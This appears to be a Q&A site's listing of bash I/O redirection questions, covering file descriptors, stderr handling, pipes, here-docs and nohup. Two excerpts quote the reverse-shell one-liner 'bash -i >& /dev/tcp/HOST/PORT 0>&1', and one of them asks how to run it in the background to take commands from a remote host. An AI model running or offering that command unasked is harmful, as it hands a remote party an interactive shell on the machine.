4
votes
2answers
62 views

How to redirect stdout to a file and read from the same file simultaneously with another task?

I want to run a task (which takes quite a long time) remotely in Ubuntu Linux Bash via nohup and redirect stdout to a file, e.g.: nohup task > out.txt & From time to time I would like to ...
5
votes
3answers
135 views

Combining brace expansion and output redirection

Often, I use parameter expansion on the command-line, such as cp a.{ext1,ext2} which is expands to cp a.ext1 a.ext2 However, in many cases I do not use cp, but another tool, let's call it cat, ...
4
votes
1answer
91 views

How to make a variable from a subshell available in the parent shell

I've written a quick-and-dirty script to time some reports from a web service: BASE_URL='http://example.com/json/webservice/' FIRST=1 FINAL=10000 for report_code in $(seq 1 $FINAL); do (time -p ...
5
votes
1answer
72 views

What are the difference between those four commands (fifo, process substitution, redirection…)

My goal is to create a simple echo server using nc and a single fifo. I'm not looking for the best way to do it, I'm merely trying to understand the semantics of the following commands (when does fork ...
1
vote
2answers
46 views

What fd's are used when doing diff <(cat old) <(cat new)?

If I do: diff <(cat old) <(cat new) Hoe does that work internally for the diff program? And how I do the same trick with a bash script?
3
votes
3answers
112 views

Environment variables are not set when my function is called in a pipeline

I have the following recursive function to set environment variables: function par_set { PAR=$1 VAL=$2 if [ "" != "$1" ] then export ${PAR}=${VAL} echo ${PAR}=${VAL} shift ...
9
votes
2answers
233 views

Closing a file descriptor, >&- vs <&-

In the bash tutorial I am reading, it says that if you open a file descriptor for reading, i.e. exec 3< echolist Then you must close it like this, exec 3<&- However, if you open a file ...
3
votes
0answers
62 views

Some puzzles of how to close file descriptors on sh or bash [duplicate]

Question 1. What will happen if we close a input file descriptor as if it is a output file descriptor? (or vice versa). For Example, $ exec 5<&2 $ exec 5>&- In my linux box, ...
2
votes
3answers
1k views

bash: /home/user/.ssh/authorized_keys: No such file or directory

Create a ssh key: $ ssh-keygen -t rsa –P "" Moving the key to authorized key: $ cat $HOME/.ssh/id_rsa.pub >> $HOME/.ssh/authorized_keys bash: /home/user/.ssh/authorized_keys: No such file ...
1
vote
2answers
103 views

How to properly launch a program and make possible to redirect its running output (stdout and stderr) at a later stage?

The problem is quite simple: I find useful to have the possibility to switch on (and off) the output of some running program in each moment I need. To be more precise I want to be free to redirect ...
22
votes
1answer
521 views

How do I redirect command completion output?

On the command line, I can redirect or pipe output of a command to a file or another command using the > or | operator after the command. I have come across a less standard situation that I would ...
5
votes
4answers
305 views

Emptying a file without disrupting the pipe writing to it

I have a program whose output I redirect to a log file: ./my_app > log I would like to clear (i.e. empty) the log from time to time (on demand) and tried various things like cat "" > log ...
4
votes
2answers
98 views

Command substitution vs I/O Redirection?

I am wondered about differences between I/O Redirection and Command substitution? For example when I want to redirect which command output to cd command (I know that it's not a directory) then the ...
2
votes
3answers
123 views

Redirecting only stderr to a pipe

This code snippet is from Advanced Bash Scripting Guide. # Redirecting only stderr to a pipe. exec 3>&1 # Save current "value" of stdout. ls -l 2>&1 ...
1
vote
2answers
158 views

Running 'bash -i >& /dev/tcp/HOST/PORT 0>&1' in the background

I want to run bash -i >& /dev/tcp/HOST/PORT 0>&1 in the background at server1. I want to listen to the connection and send commands back at HOST/PORT. So, tcpdump isn't sufficient for ...
3
votes
1answer
183 views

What does exec 3<&1 do?

I understand exec can do I/O Redirection on current shell level. but I only sees usage like exec 6<&0 # Link file descriptor #6 with stdin. # Saves stdin. exec 6>&1 # ...
7
votes
1answer
370 views

Is this redirecting to /dev/null?

I found this script on the arch wiki which prefixes an ffmpeg command like this < /dev/null ffmpeg -i "$a" -qscale:a 0 "${a[@]/%flac/mp3}" I understand the ffmpeg command, it is the < ...
3
votes
2answers
59 views

Inconsistencies between redirecting input from file, here docs, and here strings

Why is this inconsistent? I would expect here docs and here strings to be functionally equivalent to redirecting input from a file. $ bash --version GNU bash, version 4.1.2(1)-release ...
4
votes
1answer
181 views

Why do piping and redirection work differently with here documents?

Combining a redirect with a here document seems logical enough: $ bash > foo <<EOF echo Hello EOF $ less foo Hello But with a pipe it behaves differently: $ bash | tee foo <<EOF ...
1
vote
1answer
193 views

Meaning of bash -i >& /dev/tcp/HOST/PORT 0>&1?

I tried this bash -i >& /dev/tcp/HOST/PORT 0>&1, but it does not seem to work behind firewall. What does this code actually do, which ports are forwarded and could it work behind ...
0
votes
1answer
65 views

Prompting when redirecting content of script to remote machine

I have simple script: #!/bin/bash while getopts ":u:" opt; do case $opt in u) USER="${OPTARG}" ;; \?) echo "Unknown flag has been used: -$OPTARG" >&2 exit 1 ...
1
vote
1answer
81 views

GoAccess won't redirect its output as a CGI script

I've been pulling my hair with this script: #!/bin/bash echo Content-type: text/html echo "" goaccess -f /var/www/log/access.log -a | tee Which runs perfectly on the command line (generates HTML ...
1
vote
1answer
138 views

fg a bg process because you forgot to redirect output to /dev/null

I did Ctrl+Z bg with the intention of disowning next, but I forgot to redirect, now I cant get to my terminal because the scrolling of the output (tarballed a huge directory with verbose set). How do ...
2
votes
2answers
63 views

Piping to the command substitution of a string containing pipes

This works— $ x='grep a' $ echo ab | $x ab This doesn't— $ x='grep a | grep b' $ echo ab | $x grep: |: No such file or directory grep: grep: No such file or directory grep: b: No such file or ...
1
vote
1answer
47 views

How do I redirect output from a command line app (howie AIML interpreter) to another command line app (espeak)?

I'd like to interact with an AIML interpreter that runs on the command line (Howie) using standard input and have the output played using espeak. I've tried: ./runme.py | espeak --stdin No ...
3
votes
2answers
312 views

How to output to screen overriding redirection

Is it possible, within a shell script, to write to the screen while STDOUT and STDERR is being redirected? I have a shell script that I want to capture STDOUT and STDERR. The script will run for ...
2
votes
2answers
94 views

Error message on terminal despite using 2> symbol

Why does this command show error message despite using 2> symbol? cat < foo 2>bar bash : cannot open foo : No such file or directory
8
votes
3answers
383 views

Why does the less-than sign not work as a replacement for cat in bash?

I heard about "useless use of cat" and found some suggestions, but the following outputs nothing in my bash shell. < filename Using cat works as expected though. cat filename I'm using Fedora ...
3
votes
2answers
195 views

Bash if script is called from terminal echo stdout to terminal, if from cron do not echo output

I would like to have a service watchdog script echo the status to the screen if called like ./watchdog.sh but if it is run by cron, there is no need to echo output. What is the proper method? Where ...
2
votes
1answer
141 views

What does the expression $(<“dir/file”) mean in bash?

In a bash script I cannot post here I see the following expression: $(<"dir/file") From what I understand the expression $(...) evaluates a command inside (as when using backticks), but what is ...
15
votes
2answers
496 views

How can I stream data to a program that expects to read data from a file that is given as a argument?

I have a huge gzipped file and I want a program (4s-import in this case) to read it. It takes a lot of time to first unzip the file and then call the program with the path to the file as an argument. ...
12
votes
2answers
371 views

Redirecting using >|

Can someone explain the utility of using >| for redirecting output to a file instead of just >? When I was shown this technique the explanation was that this guaranteed the file was truncated ...
2
votes
2answers
156 views

How do I redirect only stderr?

I am having a bit of trouble doing this. I am required to run a compiled .java file and redirect only stderr to a file called error. So the .java file is named javaProgram.java. This is what I have ...
2
votes
2answers
214 views

What is the use of “&>>” in bash?

I was studying a bash script code where I encountered operator "&>>". I didn't understand its use. So, I referred to http://www.gnu.org/software/bash/manual/html_node/Redirections.html . It is ...
4
votes
3answers
465 views

Split stdin by lines

I want to invoke a command for every line of the standard input, much like xargs, but the line should be passed as standard input, not as a command-line argument: cat some-file.txt | <magic> | ...
2
votes
1answer
135 views

input output redirection in bash [duplicate]

In Ksh for redirecting i/o from a command away from standard output/error I do , [ where command is any command that produces output/error ] command 2>filename command 2>/dev/null or command ...
3
votes
1answer
158 views

Pipeline and redirection understanding

Please explain this script (from ABSG. Ch. 20): exec 3>&1 # Save current "value" of stdout. ls -l 2>&1 >&3 3>&- | grep bad 3>&- # ...
10
votes
3answers
273 views

Is this a typo in Bash manual's redirection section?

Note that the order of redirections is significant. For example, the command ls > dirlist 2>&1 directs both standard output and standard error to the file dirlist, while ...
3
votes
3answers
369 views

Pipe command output to input of running/backgrounded command

In Bash 4.X It it possible to do something like: command that expects input & echo some output | %1 Where %1 represents the first backgrounded command?
0
votes
1answer
50 views

Resume input from user after file is read [duplicate]

I have a program that reads user input—moves, it's a boardgame—from the user. Like so: $ game enter your move: # etcetera The first N moves I need to repeat each time, so I put them in a text ...
1
vote
3answers
335 views

How to capture the standard output of a script that depends on the user for some input?

There is a script that requires me to enter the password before it continues: bash-3.2$ ./script.sh <parameter_list> Enter the password for the Database: .. .. I am interested in capturing ...
2
votes
3answers
1k views

How to stop redirection in bash

I use : exec >script.log 2>&1 in my script to redirect all output to a file. At the end of the script I would like to print a message to the screen. How do I stop the redirection?
8
votes
1answer
4k views

How to redirect stdout and stderr to a file and display stderr to console?

I know how to redirect to a file, and use tee; on a basic level. So $ alias outanderr='bash -c "echo stdout >&1; echo stderr >&2"' # A fake "application" displaying both output and ...
12
votes
3answers
348 views

When to use redirection to stderr in shell scripts

I know that well-behaved utilities like grep output "normal" messages to stdout, and error messages to stderr. $ grep '^foo' file1 file2 file1:foo grep: file2: No such file or directory When I'm ...
2
votes
3answers
13k views

How to append multiple lines to a file with bash

I am writing a bash script to look for a file if it doesn't exist then create it and append this to it: Host localhost ForwardAgent yes So "line then new line 'tab' then text" I think its a ...
4
votes
4answers
241 views

Can I write the output the of time difference command to a file?

Can I write the output of the time difference command to a file? For example, I tried: $ time foo.sh > bar.txt But it only gives the output of foo.sh to bar.txt.
2
votes
1answer
1k views

starting server with nohup and redirecting input, output

I have a init.d script that starts a python socket server. Because I want this to run as a daemon, I use nohup to start it. I also want to redirect stdout and stderr to a log file. My problem is ...
3
votes
2answers
258 views

echo string >> file does not work

I wrote the following script: for filename in `find . -name '*'.cpp | grep $IN_REGEX | grep -v $OUT_REGEX` do echo "Output file is $OUTPUT_FILE" count=`git log --pretty=format: --name-only ...
1
vote
2answers
154 views

Nested read fails

I have a list of filenames in a file and want to do let the user decide what to do with each. In bash, iterating over filenames is not trivial in itself, so I followed this answer: #!/bin/bash while ...
2
votes
1answer
482 views

How to wait for a subprocess used for I/O redirection?

Consider the following snippet of Bash script: exec 3> >(sleep 1; echo "$BASHPID: here") do-something-interesting exec 3>&- wait $! echo "$BASHPID: there" When executed, it produces: ...